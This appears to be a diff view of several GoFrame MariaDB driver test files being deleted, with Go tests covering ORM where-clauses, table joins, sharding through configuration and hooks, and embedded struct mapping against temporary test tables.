one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`passport`], `user_100`)
t.Assert(one[`password`], `pass_100`)
t.Assert(one[`nickname`], `name_1`)
})
}
func Test_Model_Where_ForDao(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type UserForDao struct {
Id any
Passport any
Password any
Nickname any
CreateTime any
}
where := UserForDao{
Id: 1,
Passport: "user_1",
Password: "pass_1",
}
one, err := db.Model(table).Where(where).One()
t.AssertNil(err)
t.Assert(one[`id`], `1`)
t.Assert(one[`passport`], `user_1`)
t.Assert(one[`password`], `pass_1`)
t.Assert(one[`nickname`], `name_1`)
})
}
func Test_Model_Where_FieldPrefix(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
array := gstr.SplitAndTrim(gtest.DataContent(`table_with_prefix.sql`), ";")
for _, v := range array {
if _, err := db.Exec(ctx, v); err != nil {
gtest.Error(err)
}
}
defer dropTable("instance")
type Instance struct {
ID int `orm:"f_id"`
Name string
}
type InstanceDo struct {
g.Meta `orm:"table:instance, do:true"`
ID any `orm:"f_id"`
}
var instance *Instance
err := db.Model("instance").Where(InstanceDo{
ID: 1,
}).Scan(&instance)
t.AssertNil(err)
t.AssertNE(instance, nil)
t.Assert(instance.ID, 1)
t.Assert(instance.Name, "john")
})
// With omitempty.
gtest.C(t, func(t *gtest.T) {
array := gstr.SplitAndTrim(gtest.DataContent(`table_with_prefix.sql`), ";")
for _, v := range array {
if _, err := db.Exec(ctx, v); err != nil {
gtest.Error(err)
}
}
defer dropTable("instance")
type Instance struct {
ID int `orm:"f_id,omitempty"`
Name string
}
type InstanceDo struct {
g.Meta `orm:"table:instance, do:true"`
ID any `orm:"f_id,omitempty"`
}
var instance *Instance
err := db.Model("instance").Where(InstanceDo{
ID: 1,
}).Scan(&instance)
t.AssertNil(err)
t.AssertNE(instance, nil)
t.Assert(instance.ID, 1)
t.Assert(instance.Name, "john")
})
}

View File

@ -1,513 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"testing"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Model_LeftJoinOnField(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
LeftJoinOnField(table2, "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[1]["id"], "2")
})
}
func Test_Model_RightJoinOnField(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
RightJoinOnField(table2, "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[1]["id"], "2")
})
}
func Test_Model_InnerJoinOnField(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
InnerJoinOnField(table2, "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[1]["id"], "2")
})
}
func Test_Model_LeftJoinOnFields(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
LeftJoinOnFields(table2, "id", "=", "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[1]["id"], "2")
})
}
func Test_Model_RightJoinOnFields(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
RightJoinOnFields(table2, "id", "=", "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[1]["id"], "2")
})
}
func Test_Model_InnerJoinOnFields(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "*").
InnerJoinOnFields(table2, "id", "=", "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[1]["id"], "2")
})
}
func Test_Model_FieldsPrefix(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).
FieldsPrefix(table1, "id").
FieldsPrefix(table2, "nickname").
LeftJoinOnField(table2, "id").
WhereIn("id", g.Slice{1, 2}).
Order("id asc").All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1")
})
}
// Test_Model_Join_FiveTables tests complex join with 5+ tables
func Test_Model_Join_FiveTables(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
table3 = gtime.TimestampNanoStr() + "_table3"
table4 = gtime.TimestampNanoStr() + "_table4"
table5 = gtime.TimestampNanoStr() + "_table5"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
createInitTable(table3)
defer dropTable(table3)
createInitTable(table4)
defer dropTable(table4)
createInitTable(table5)
defer dropTable(table5)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id", "nickname").
FieldsPrefix("t2", "passport").
InnerJoin(table2+" AS t2", "t1.id = t2.id").
InnerJoin(table3+" AS t3", "t2.id = t3.id").
InnerJoin(table4+" AS t4", "t3.id = t4.id").
InnerJoin(table5+" AS t5", "t4.id = t5.id").
Where("t1.id IN(?)", g.Slice{1, 2, 3}).
Order("t1.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1")
t.Assert(r[0]["passport"], "user_1")
t.Assert(r[2]["id"], "3")
})
gtest.C(t, func(t *gtest.T) {
// 6 tables with mixed join types
table6 := gtime.TimestampNanoStr() + "_table6"
createInitTable(table6)
defer dropTable(table6)
r, err := db.Model(table1).As("t1").
Fields("t1.id").
InnerJoin(table2+" AS t2", "t1.id = t2.id").
LeftJoin(table3+" AS t3", "t2.id = t3.id").
InnerJoin(table4+" AS t4", "t3.id = t4.id").
RightJoin(table5+" AS t5", "t4.id = t5.id").
LeftJoin(table6+" AS t6", "t5.id = t6.id").
Where("t1.id", 5).
One()
t.AssertNil(err)
t.Assert(r["id"], "5")
})
}
// Test_Model_Join_SelfJoin tests self-join scenarios
func Test_Model_Join_SelfJoin(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Self-join to find pairs where a.id < b.id
r, err := db.Model(table).As("a").
Fields("a.id AS a_id", "b.id AS b_id").
InnerJoin(table+" AS b", "a.id < b.id").
Where("a.id", 1).
Where("b.id <=", 3).
Order("b.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["a_id"], "1")
t.Assert(r[0]["b_id"], "2")
t.Assert(r[1]["b_id"], "3")
})
gtest.C(t, func(t *gtest.T) {
// Self-join with multiple conditions
r, err := db.Model(table).As("a").
Fields("a.id", "a.nickname", "b.nickname AS other_nickname").
LeftJoin(table+" AS b", "a.id = b.id - 1").
Where("a.id IN(?)", g.Slice{1, 2}).
Order("a.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1")
t.Assert(r[0]["other_nickname"], "name_2")
t.Assert(r[1]["id"], "2")
t.Assert(r[1]["other_nickname"], "name_3")
})
}
// Test_Model_Join_LeftJoinNull tests LEFT JOIN NULL handling
func Test_Model_Join_LeftJoinNull(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
// Create table2 with only partial data
createTable(table2)
defer dropTable(table2)
_, err := db.Insert(ctx, table2, g.List{
{"id": 1, "passport": "user_1", "nickname": "name_1"},
{"id": 2, "passport": "user_2", "nickname": "name_2"},
})
if err != nil {
gtest.Fatal(err)
}
gtest.C(t, func(t *gtest.T) {
// LEFT JOIN - table1 has all records, table2 only has id 1,2
r, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id").
FieldsPrefix("t2", "nickname").
LeftJoin(table2+" AS t2", "t1.id = t2.id").
Where("t1.id IN(?)", g.Slice{1, 2, 3}).
Order("t1.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1") // matched
t.Assert(r[1]["id"], "2")
t.Assert(r[1]["nickname"], "name_2") // matched
t.Assert(r[2]["id"], "3")
// r[2]["nickname"] should be NULL/empty from t2
})
gtest.C(t, func(t *gtest.T) {
// Find records where RIGHT table is NULL
r, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id", "nickname").
LeftJoin(table2+" AS t2", "t1.id = t2.id").
Where("t2.id IS NULL").
Where("t1.id IN(?)", g.Slice{1, 2, 3, 4}).
Order("t1.id asc").
All()
t.AssertNil(err)
// Should return id 3,4 (not in table2)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "3")
t.Assert(r[0]["nickname"], "name_3")
t.Assert(r[1]["id"], "4")
})
}
// Test_Model_Join_RightJoinNull tests RIGHT JOIN NULL handling
func Test_Model_Join_RightJoinNull(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
// table1 has partial data
createTable(table1)
defer dropTable(table1)
_, err := db.Insert(ctx, table1, g.List{
{"id": 1, "passport": "user_1", "nickname": "name_1"},
{"id": 2, "passport": "user_2", "nickname": "name_2"},
})
if err != nil {
gtest.Fatal(err)
}
// table2 has all data
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
// RIGHT JOIN - table1 only has id 1,2, table2 has all
r, err := db.Model(table1).As("t1").
FieldsPrefix("t2", "id").
FieldsPrefix("t1", "nickname").
RightJoin(table2+" AS t2", "t1.id = t2.id").
Where("t2.id IN(?)", g.Slice{1, 2, 3}).
Order("t2.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], "1")
t.Assert(r[0]["nickname"], "name_1") // matched
t.Assert(r[1]["id"], "2")
t.Assert(r[1]["nickname"], "name_2") // matched
t.Assert(r[2]["id"], "3")
// r[2]["nickname"] should be NULL/empty from t1
})
gtest.C(t, func(t *gtest.T) {
// Find records where LEFT table is NULL
r, err := db.Model(table1).As("t1").
FieldsPrefix("t2", "id", "nickname").
RightJoin(table2+" AS t2", "t1.id = t2.id").
Where("t1.id IS NULL").
Where("t2.id IN(?)", g.Slice{1, 2, 3, 4}).
Order("t2.id asc").
All()
t.AssertNil(err)
// Should return id 3,4 (not in table1)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "3")
t.Assert(r[0]["nickname"], "name_3")
t.Assert(r[1]["id"], "4")
})
}
// Test_Model_Join_OnVsWhere tests difference between ON and WHERE conditions
func Test_Model_Join_OnVsWhere(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
// INNER JOIN: ON and WHERE behave the same
r1, err := db.Model(table1).As("t1").
Fields("t1.id").
InnerJoin(table2+" AS t2", "t1.id = t2.id AND t2.id <= 3").
Order("t1.id asc").
All()
t.AssertNil(err)
r2, err := db.Model(table1).As("t1").
Fields("t1.id").
InnerJoin(table2+" AS t2", "t1.id = t2.id").
Where("t2.id <=", 3).
Order("t1.id asc").
All()
t.AssertNil(err)
// For INNER JOIN, results should be identical
t.Assert(len(r1), 3)
t.Assert(len(r2), 3)
t.Assert(r1[0]["id"], r2[0]["id"])
})
gtest.C(t, func(t *gtest.T) {
// LEFT JOIN: ON filter in join condition vs WHERE filter after join
// ON condition: filters t2 before join (keeps all t1 rows)
r1, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id").
FieldsPrefix("t2", "nickname").
LeftJoin(table2+" AS t2", "t1.id = t2.id AND t2.id <= 2").
Where("t1.id <=", 4).
Order("t1.id asc").
All()
t.AssertNil(err)
// WHERE condition: filters result after join (removes t1 rows where t2 is NULL)
r2, err := db.Model(table1).As("t1").
FieldsPrefix("t1", "id").
FieldsPrefix("t2", "nickname").
LeftJoin(table2+" AS t2", "t1.id = t2.id").
Where("t1.id <=", 4).
Where("t2.id <=", 2).
Order("t1.id asc").
All()
t.AssertNil(err)
// r1: all t1 rows (1,2,3,4), t2 data only for id 1,2
t.Assert(len(r1), 4)
t.Assert(r1[0]["id"], "1")
t.Assert(r1[0]["nickname"], "name_1")
t.Assert(r1[2]["id"], "3")
// r1[2]["nickname"] is NULL from t2
// r2: only rows where t2.id <= 2, so only id 1,2
t.Assert(len(r2), 2)
t.Assert(r2[0]["id"], "1")
t.Assert(r2[1]["id"], "2")
})
}
// Test_Model_Join_ComplexConditions tests joins with complex ON conditions
func Test_Model_Join_ComplexConditions(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createInitTable(table1)
defer dropTable(table1)
createInitTable(table2)
defer dropTable(table2)
gtest.C(t, func(t *gtest.T) {
// Multiple AND conditions in ON clause
r, err := db.Model(table1).As("t1").
Fields("t1.id", "t1.nickname").
InnerJoin(
table2+" AS t2",
"t1.id = t2.id AND t1.nickname = t2.nickname AND t1.id BETWEEN 2 AND 4",
).
Order("t1.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], "2")
t.Assert(r[2]["id"], "4")
})
gtest.C(t, func(t *gtest.T) {
// OR conditions in ON clause (need to use Where for OR in join)
r, err := db.Model(table1).As("t1").
Fields("t1.id").
InnerJoin(table2+" AS t2", "t1.id = t2.id").
Where("t2.id = 1 OR t2.id = 5").
Order("t1.id asc").
All()
t.AssertNil(err)
t.Assert(len(r), 2)
t.Assert(r[0]["id"], "1")
t.Assert(r[1]["id"], "5")
})
}

View File

@ -1,467 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"context"
"database/sql"
"fmt"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
)
const (
TestDbNameSh0 = "test_0"
TestDbNameSh1 = "test_1"
TestTableName = "user"
)
type ShardingUser struct {
Id int
Name string
}
// createShardingDatabase creates test databases and tables for sharding
func createShardingDatabase(t *gtest.T) {
// Create databases
dbs := []string{TestDbNameSh0, TestDbNameSh1}
for _, dbName := range dbs {
sql := fmt.Sprintf("CREATE DATABASE IF NOT EXISTS `%s`", dbName)
_, err := db.Exec(ctx, sql)
t.AssertNil(err)
// Switch to the database
sql = fmt.Sprintf("USE `%s`", dbName)
_, err = db.Exec(ctx, sql)
t.AssertNil(err)
// Create tables
tables := []string{"user_0", "user_1", "user_2", "user_3"}
for _, table := range tables {
sql := fmt.Sprintf(`
CREATE TABLE IF NOT EXISTS %s (
id int(11) NOT NULL,
name varchar(255) NOT NULL,
PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
`, table)
_, err := db.Exec(ctx, sql)
t.AssertNil(err)
}
}
}
// dropShardingDatabase drops test databases
func dropShardingDatabase(t *gtest.T) {
dbs := []string{TestDbNameSh0, TestDbNameSh1}
for _, dbName := range dbs {
sql := fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", dbName)
_, err := db.Exec(ctx, sql)
t.AssertNil(err)
}
}
func Test_Sharding_Basic(t *testing.T) {
return
gtest.C(t, func(t *gtest.T) {
var (
tablePrefix = "user_"
schemaPrefix = "test_"
)
// Create test databases and tables
createShardingDatabase(t)
defer dropShardingDatabase(t)
// Create sharding configuration
shardingConfig := gdb.ShardingConfig{
Table: gdb.ShardingTableConfig{
Enable: true,
Prefix: tablePrefix,
Rule: &gdb.DefaultShardingRule{
TableCount: 4,
},
},
Schema: gdb.ShardingSchemaConfig{
Enable: true,
Prefix: schemaPrefix,
Rule: &gdb.DefaultShardingRule{
SchemaCount: 2,
},
},
}
// Prepare test data
user := ShardingUser{
Id: 1,
Name: "John",
}
model := db.Model(TestTableName).
Sharding(shardingConfig).
ShardingValue(user.Id).
Safe()
// Test Insert
_, err := model.Data(user).Insert()
t.AssertNil(err)
// Test Select
var result ShardingUser
err = model.Where("id", user.Id).Scan(&result)
t.AssertNil(err)
t.Assert(result.Id, user.Id)
t.Assert(result.Name, user.Name)
// Test Update
_, err = model.Data(g.Map{"name": "John Doe"}).
Where("id", user.Id).
Update()
t.AssertNil(err)
// Verify Update
err = model.Where("id", user.Id).Scan(&result)
t.AssertNil(err)
t.Assert(result.Name, "John Doe")
// Test Delete
_, err = model.Where("id", user.Id).Delete()
t.AssertNil(err)
// Verify Delete
count, err := model.Where("id", user.Id).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}
// Test_Sharding_Error tests error cases
func Test_Sharding_Error(t *testing.T) {
return
gtest.C(t, func(t *gtest.T) {
// Create test databases and tables
createShardingDatabase(t)
defer dropShardingDatabase(t)
// Test missing sharding value
model := db.Model(TestTableName).
Sharding(gdb.ShardingConfig{
Table: gdb.ShardingTableConfig{
Enable: true,
Prefix: "user_",
Rule: &gdb.DefaultShardingRule{TableCount: 4},
},
}).Safe()
_, err := model.Insert(g.Map{"id": 1, "name": "test"})
t.AssertNE(err, nil)
t.Assert(err.Error(), "sharding value is required when sharding feature enabled")
// Test missing sharding rule
model = db.Model(TestTableName).
Sharding(gdb.ShardingConfig{
Table: gdb.ShardingTableConfig{
Enable: true,
Prefix: "user_",
},
}).
ShardingValue(1)
_, err = model.Insert(g.Map{"id": 1, "name": "test"})
t.AssertNE(err, nil)
t.Assert(err.Error(), "sharding rule is required when sharding feature enabled")
})
}
// Test_Sharding_Complex tests complex sharding scenarios
func Test_Sharding_Complex(t *testing.T) {
return
gtest.C(t, func(t *gtest.T) {
// Create test databases and tables
createShardingDatabase(t)
defer dropShardingDatabase(t)
shardingConfig := gdb.ShardingConfig{
Table: gdb.ShardingTableConfig{
Enable: true,
Prefix: "user_",
Rule: &gdb.DefaultShardingRule{TableCount: 4},
},
Schema: gdb.ShardingSchemaConfig{
Enable: true,
Prefix: "test_",
Rule: &gdb.DefaultShardingRule{SchemaCount: 2},
},
}
users := []ShardingUser{
{Id: 1, Name: "User1"},
{Id: 2, Name: "User2"},
{Id: 3, Name: "User3"},
}
for _, user := range users {
model := db.Model(TestTableName).
Sharding(shardingConfig).
ShardingValue(user.Id).
Safe()
_, err := model.Data(user).Insert()
t.AssertNil(err)
}
// Test batch query
for _, user := range users {
model := db.Model(TestTableName).
Sharding(shardingConfig).
ShardingValue(user.Id).
Safe()
var result ShardingUser
err := model.Where("id", user.Id).Scan(&result)
t.AssertNil(err)
t.Assert(result.Id, user.Id)
t.Assert(result.Name, user.Name)
}
// Clean up
for _, user := range users {
model := db.Model(TestTableName).
Sharding(shardingConfig).
ShardingValue(user.Id).
Safe()
_, err := model.Where("id", user.Id).Delete()
t.AssertNil(err)
}
})
}
func Test_Model_Sharding_Table_Using_Hook(t *testing.T) {
var (
table1 = gtime.TimestampNanoStr() + "_table1"
table2 = gtime.TimestampNanoStr() + "_table2"
)
createTable(table1)
defer dropTable(table1)
createTable(table2)
defer dropTable(table2)
shardingModel := db.Model(table1).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
in.Table = table2
return in.Next(ctx)
},
Insert: func(ctx context.Context, in *gdb.HookInsertInput) (result sql.Result, err error) {
in.Table = table2
return in.Next(ctx)
},
Update: func(ctx context.Context, in *gdb.HookUpdateInput) (result sql.Result, err error) {
in.Table = table2
return in.Next(ctx)
},
Delete: func(ctx context.Context, in *gdb.HookDeleteInput) (result sql.Result, err error) {
in.Table = table2
return in.Next(ctx)
},
})
gtest.C(t, func(t *gtest.T) {
r, err := shardingModel.Insert(g.Map{
"id": 1,
"passport": fmt.Sprintf(`user_%d`, 1),
"password": fmt.Sprintf(`pass_%d`, 1),
"nickname": fmt.Sprintf(`name_%d`, 1),
"create_time": gtime.NewFromStr(CreateTime).String(),
})
t.AssertNil(err)
n, err := r.RowsAffected()
t.AssertNil(err)
t.Assert(n, 1)
var count int
count, err = shardingModel.Count()
t.AssertNil(err)
t.Assert(count, 1)
count, err = db.Model(table1).Count()
t.AssertNil(err)
t.Assert(count, 0)
count, err = db.Model(table2).Count()
t.AssertNil(err)
t.Assert(count, 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := shardingModel.Where(g.Map{
"id": 1,
}).Data(g.Map{
"passport": fmt.Sprintf(`user_%d`, 2),
"password": fmt.Sprintf(`pass_%d`, 2),
"nickname": fmt.Sprintf(`name_%d`, 2),
}).Update()
t.AssertNil(err)
n, err := r.RowsAffected()
t.AssertNil(err)
t.Assert(n, 1)
var (
count int
where = g.Map{"passport": fmt.Sprintf(`user_%d`, 2)}
)
count, err = shardingModel.Where(where).Count()
t.AssertNil(err)
t.Assert(count, 1)
count, err = db.Model(table1).Where(where).Count()
t.AssertNil(err)
t.Assert(count, 0)
count, err = db.Model(table2).Where(where).Count()
t.AssertNil(err)
t.Assert(count, 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := shardingModel.Where(g.Map{
"id": 1,
}).Delete()
t.AssertNil(err)
n, err := r.RowsAffected()
t.AssertNil(err)
t.Assert(n, 1)
var count int
count, err = shardingModel.Count()
t.AssertNil(err)
t.Assert(count, 0)
count, err = db.Model(table1).Count()
t.AssertNil(err)
t.Assert(count, 0)
count, err = db.Model(table2).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}
func Test_Model_Sharding_Schema_Using_Hook(t *testing.T) {
var (
table = gtime.TimestampNanoStr() + "_table"
)
createTableWithDb(db, table)
defer dropTableWithDb(db, table)
createTableWithDb(db2, table)
defer dropTableWithDb(db2, table)
shardingModel := db.Model(table).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
in.Table = table
in.Schema = db2.GetSchema()
return in.Next(ctx)
},
Insert: func(ctx context.Context, in *gdb.HookInsertInput) (result sql.Result, err error) {
in.Table = table
in.Schema = db2.GetSchema()
return in.Next(ctx)
},
Update: func(ctx context.Context, in *gdb.HookUpdateInput) (result sql.Result, err error) {
in.Table = table
in.Schema = db2.GetSchema()
return in.Next(ctx)
},
Delete: func(ctx context.Context, in *gdb.HookDeleteInput) (result sql.Result, err error) {
in.Table = table
in.Schema = db2.GetSchema()
return in.Next(ctx)
},
})
gtest.C(t, func(t *gtest.T) {
r, err := shardingModel.Insert(g.Map{
"id": 1,
"passport": fmt.Sprintf(`user_%d`, 1),
"password": fmt.Sprintf(`pass_%d`, 1),
"nickname": fmt.Sprintf(`name_%d`, 1),
"create_time": gtime.NewFromStr(CreateTime).String(),
})
t.AssertNil(err)
n, err := r.RowsAffected()
t.AssertNil(err)
t.Assert(n, 1)
var count int
count, err = shardingModel.Count()
t.AssertNil(err)
t.Assert(count, 1)
count, err = db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
count, err = db2.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := shardingModel.Where(g.Map{
"id": 1,
}).Data(g.Map{
"passport": fmt.Sprintf(`user_%d`, 2),
"password": fmt.Sprintf(`pass_%d`, 2),
"nickname": fmt.Sprintf(`name_%d`, 2),
}).Update()
t.AssertNil(err)
n, err := r.RowsAffected()
t.AssertNil(err)
t.Assert(n, 1)
var (
count int
where = g.Map{"passport": fmt.Sprintf(`user_%d`, 2)}
)
count, err = shardingModel.Where(where).Count()
t.AssertNil(err)
t.Assert(count, 1)
count, err = db.Model(table).Where(where).Count()
t.AssertNil(err)
t.Assert(count, 0)
count, err = db2.Model(table).Where(where).Count()
t.AssertNil(err)
t.Assert(count, 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := shardingModel.Where(g.Map{
"id": 1,
}).Delete()
t.AssertNil(err)
n, err := r.RowsAffected()
t.AssertNil(err)
t.Assert(n, 1)
var count int
count, err = shardingModel.Count()
t.AssertNil(err)
t.Assert(count, 0)
count, err = db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
count, err = db2.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}

View File

@ -1,482 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"database/sql"
"reflect"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/errors/gcode"
"github.com/gogf/gf/v2/errors/gerror"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/util/gconv"
)
func Test_Model_Embedded_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type Base struct {
Id int `json:"id"`
Uid int `json:"uid"`
CreateTime string `json:"create_time"`
}
type User struct {
Base
Passport string `json:"passport"`
Password string `json:"password"`
Nickname string `json:"nickname"`
}
result, err := db.Model(table).Data(User{
Passport: "john-test",
Password: "123456",
Nickname: "John",
Base: Base{
Id: 100,
Uid: 100,
CreateTime: gtime.Now().String(),
},
}).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
value, err := db.Model(table).Fields("passport").Where("id=100").Value()
t.AssertNil(err)
t.Assert(value.String(), "john-test")
})
}
func Test_Model_Embedded_MapToStruct(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
type Ids struct {
Id int `json:"id"`
Uid int `json:"uid"`
}
type Base struct {
Ids
CreateTime string `json:"create_time"`
}
type User struct {
Base
Passport string `json:"passport"`
Password string `json:"password"`
Nickname string `json:"nickname"`
}
data := g.Map{
"id": 100,
"uid": 101,
"passport": "t1",
"password": "123456",
"nickname": "T1",
"create_time": gtime.Now().String(),
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
one, err := db.Model(table).Where("id=100").One()
t.AssertNil(err)
user := new(User)
t.Assert(one.Struct(user), nil)
t.Assert(user.Id, data["id"])
t.Assert(user.Passport, data["passport"])
t.Assert(user.Password, data["password"])
t.Assert(user.Nickname, data["nickname"])
t.Assert(user.CreateTime, data["create_time"])
})
}
func Test_Struct_Pointer_Attribute(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id *int
Passport *string
Password *string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
user := new(User)
err = one.Struct(user)
t.AssertNil(err)
t.Assert(*user.Id, 1)
t.Assert(*user.Passport, "user_1")
t.Assert(*user.Password, "pass_1")
t.Assert(user.Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
user := new(User)
err := db.Model(table).Scan(user, "id=1")
t.AssertNil(err)
t.Assert(*user.Id, 1)
t.Assert(*user.Passport, "user_1")
t.Assert(*user.Password, "pass_1")
t.Assert(user.Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var user *User
err := db.Model(table).Scan(&user, "id=1")
t.AssertNil(err)
t.Assert(*user.Id, 1)
t.Assert(*user.Passport, "user_1")
